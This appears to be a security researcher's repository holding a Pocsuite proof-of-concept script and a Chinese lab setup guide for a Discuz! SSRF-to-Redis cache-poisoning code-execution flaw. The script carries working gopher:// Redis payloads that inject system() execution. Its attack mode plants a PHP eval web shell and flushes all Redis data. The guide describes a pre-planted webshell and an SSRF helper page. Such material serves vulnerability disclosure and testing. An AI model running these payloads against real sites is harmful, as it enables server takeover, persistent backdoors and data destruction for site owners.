├── README.md ├── dz_cache_ssrf_codeexec.py └── 环境搭建.md /README.md: -------------------------------------------------------------------------------- 1 | # dz-cache-ssrf-codeexec 2 | Discuz!利用SSRF+缓存应用代码执行漏洞环境搭建及验证脚本 3 | -------------------------------------------------------------------------------- /dz_cache_ssrf_codeexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | import string 5 | import random 6 | import hashlib 7 | import base64 8 | import urlparse 9 | 10 | from pocsuite.api.request import req 11 | from pocsuite.api.poc import register 12 | from pocsuite.api.poc import Output, POCBase 13 | 14 | 15 | class TestPOC(POCBase): 16 | vulID = '91879' # ssvid 17 | version = '1.0' 18 | author = ['p0wd3r'] 19 | vulDate = '2016-05-30' 20 | createDate = '2016-06-19' 21 | updateDate = '2016-06-19' 22 | references = ['http://mp.weixin.qq.com/s?__biz=MzI0NjQxODg0Ng==&mid=2247483798&idx=1&sn=65cdf852dffd63b9d4ec41c31d9a5365'] 23 | name = 'Discuz!利用SSRF+缓存应用代码执行' 24 | appPowerLink = 'http://www.discuz.net' 25 | appName = 'Discuz!' 26 | appVersion = 'X' 27 | vulType = 'Code Execution' 28 | desc = ''' 29 | Discuz!利用SSRF+缓存应用代码执行 30 | ''' 31 | samples = [''] 32 | install_requires = [''] 33 | #请尽量不要使用第三方库,必要时参考 https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md#poc-第三方模块依赖说明 填写该字段 34 | 35 | def _attack(self): 36 | result = {} 37 | payload = ('gopher://127.0.0.1:6379/' 38 | '_eval "local t=redis.call(\'keys\',\'*_setting\');' 39 | 'for i,v in ipairs(t) do redis.call(\'set\',v,' 40 | '\'a:2:{s:6:\\\"output\\\";a:1:{s:4:\\\"preg\\\";' 41 | 'a:2:{s:6:\\\"search\\\";a:1:{s:7:\\\"plugins\\\";' 42 | 's:5:\\\"/^./e\\\";}s:7:\\\"replace\\\";' 43 | 'a:1:{s:7:\\\"plugins\\\";s:32:\\\"system(base64_decode($_GET[c]));\\\";}}}' 44 | 's:13:\\\"rewritestatus\\\";a:1:{s:7:\\\"plugins\\\";i:1;}}\')' 45 | ' end;return 1;" 0 %250D%250Aquit') 46 | vul_url = self.url + payload 47 | req.get(vul_url) 48 | 49 | web_url = self.url.rpartition('/') 50 | while web_url[2] != urlparse.urlparse(self.url).netloc: 51 | shell_url = web_url[0] + '/forum.php?mod=ajax&inajax=yes&action=getthreadtypes' 52 | rep = req.get(shell_url) 53 | 54 | if rep.status_code == 200: 55 | 56 | # 该文件作为一句话的话payload会被拦截,且flush后shell会掉,所以用命令马向当前目录写入一句话 57 | flag = ''.join([random.choice(string.digits) for _ in range(8)]) 58 | shell_flag = ''.join([random.choice(string.lowercase) for _ in range(8)]) 59 | shell_payload = 'echo \'\' > ' + shell_flag + '.php' 60 | shell_payload_b64 = base64.b64encode(shell_payload) 61 | req.get(shell_url + '&c=' + shell_payload_b64) 62 | 63 | shell_url = web_url[0] + '/' + shell_flag + '.php' 64 | rep = req.get(shell_url) 65 | if rep.status_code == 200 and flag in rep.content: 66 | result['ShellInfo'] = {} 67 | result['ShellInfo']['URL'] = shell_url 68 | result['ShellInfo']['Content'] = '@eval($_POST[c]);' 69 | 70 | # 验证后恢复,避免网站无法访问 71 | payload_flush = 'gopher://127.0.0.1:6379/_*1%250D%250A$8%250D%250Aflushall%250D%250Aquit' 72 | recover_url = self.url + payload_flush 73 | req.get(recover_url) 74 | req.get(web_url[0] + '/forum.php') 75 | 76 | break 77 | 78 | web_url = web_url[0].rpartition('/') 79 | 80 | return self.parse_output(result) 81 | 82 | def _verify(self): 83 | result = {} 84 | #Write your code here 85 | flag = ''.join([random.choice(string.digits) for _ in range(8)]) 86 | payload = ('gopher://127.0.0.1:6379/' 87 | '_eval "local t=redis.call(\'keys\',\'*_setting\');' 88 | 'for i,v in ipairs(t) do redis.call(\'set\',v,' 89 | '\'a:2:{s:6:\\\"output\\\";a:1:{s:4:\\\"preg\\\";' 90 | 'a:2:{s:6:\\\"search\\\";a:1:{s:7:\\\"plugins\\\";' 91 | 's:5:\\\"/^./e\\\";}s:7:\\\"replace\\\";' 92 | 'a:1:{s:7:\\\"plugins\\\";s:14:\\\"md5(' + flag + ');\\\";}}}' 93 | 's:13:\\\"rewritestatus\\\";a:1:{s:7:\\\"plugins\\\";i:1;}}\')' 94 | ' end;return 1;" 0 %250D%250Aquit') 95 | vul_url = self.url + payload 96 | req.get(vul_url) 97 | 98 | web_url = self.url.rpartition('/') 99 | while web_url[2] != urlparse.urlparse(self.url).netloc: 100 | poc_url = web_url[0] + '/forum.php?mod=ajax&inajax=yes&action=getthreadtypes' 101 | rep = req.get(poc_url) 102 | flag_hash = hashlib.md5(flag).hexdigest() 103 | 104 | if flag_hash in rep.content: 105 | result['VerifyInfo'] = {} 106 | result['VerifyInfo']['URL'] = poc_url 107 | 108 | # 验证后恢复,避免网站无法访问 109 | payload_flush = 'gopher://127.0.0.1:6379/_*1%250D%250A$8%250D%250Aflushall%250D%250Aquit' 110 | recover_url = self.url + payload_flush 111 | req.get(recover_url) 112 | req.get(web_url[0] + '/forum.php') 113 | 114 | break 115 | 116 | web_url = web_url[0].rpartition('/') 117 | 118 | return self.parse_output(result) 119 | 120 | def parse_output(self, result): 121 | #parse output 122 | output = Output(self) 123 | if result: 124 | output.success(result) 125 | else: 126 | output.fail('Internet nothing returned') 127 | return output 128 | 129 | 130 | register(TestPOC) 131 | -------------------------------------------------------------------------------- /环境搭建.md: -------------------------------------------------------------------------------- 1 | # Discuz!利用SSRF+缓存应用代码执行漏洞 2 | 3 | ## Info 4 | Discuz!利用SSRF+缓存应用代码执行漏洞环境搭建及验证 5 | 6 | ### 0x00 环境搭建 7 | 8 | #### 获取镜像 9 | 10 | 环境搭建共使用三个镜像:MySQL、Redis和安装过phpredis的Discuz!。 11 | 12 | 其中MySQL和Redis的镜像可用以下命令从官方获取: 13 | 14 | ```bash 15 | docker pull mysql 16 | docker pull redis 17 | ``` 18 | 19 | Discuz!镜像下载地址 http://pan.baidu.com/s/1nvGm46d 20 | 21 | 从discuz.tar.gz恢复出Discuz!镜像: 22 | 23 | ```bash 24 | gzip -dc discuz.tar.gz | docker load 25 | ``` 26 | 27 | #### 运行镜像 28 | 29 | ```bash 30 | docker run --name dz-mysql -e MYSQL_ROOT_PASSWORD=yourpasswd -d mysql 31 | 32 | docker run --name dz-redis -d redis 33 | 34 | docker run --name dz-ssrf --link dz-mysql:mysql -p 8888:80 -d dz-redis-init apache2 "-DFOREGROUND" 35 | ``` 36 | 37 | 访问127.0.0.1:8888进行Discuz!的安装。 38 | 39 | 安装过后通过预先留下的webshell:http://127.0.0.1:8888/2.php (密码x),将config/config_global.php中redis的地址和端口改为redis容器的地址和端口(可用docker inspect dz-redis查看IP)。 40 | 41 | 在后台中 全局 -> 性能优化 -> 内存优化 中查看redis是否被启用,若已启用则搭建完成。 42 | 43 | ### 0x01 漏洞验证 44 | 45 | 将dz_cache_ssrf_codeexec.py中第37行,第71行,第86行和第109行的127.0.0.1改为redis的地址(因为环境里redis和app不在同一主机,所以要改地址)。 46 | 47 | ```bash 48 | :%s/127.0.0.1/redis-IP/g 49 | ``` 50 | 51 | 我在应用的根目录下放置了一个1.php用于构造SSRF,1.php内容如下: 52 | 53 | ```php 54 | '; 58 | 59 | curl_setopt($ch, CURLOPT_URL, $url); 60 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 61 | curl_setopt($ch, CURLOPT_HEADER, 0); 62 | 63 | $output = curl_exec($ch); 64 | curl_close($ch); 65 | print_r($output); 66 | ?> 67 | ``` 68 | 69 | 70 | 71 | 验证: 72 | 73 | ```bash 74 | pocsuite -r dz_cache_ssrf_codeexec.py -u 'http://127.0.0.1:8888/1.php?url=' --verify 75 | ``` 76 | 77 | 攻击: 78 | 79 | ```bash 80 | pocsuite -r dz_cache_ssrf_codeexec.py -u 'http://127.0.0.1:8888/1.php?url=' --attack 81 | ``` 82 | --------------------------------------------------------------------------------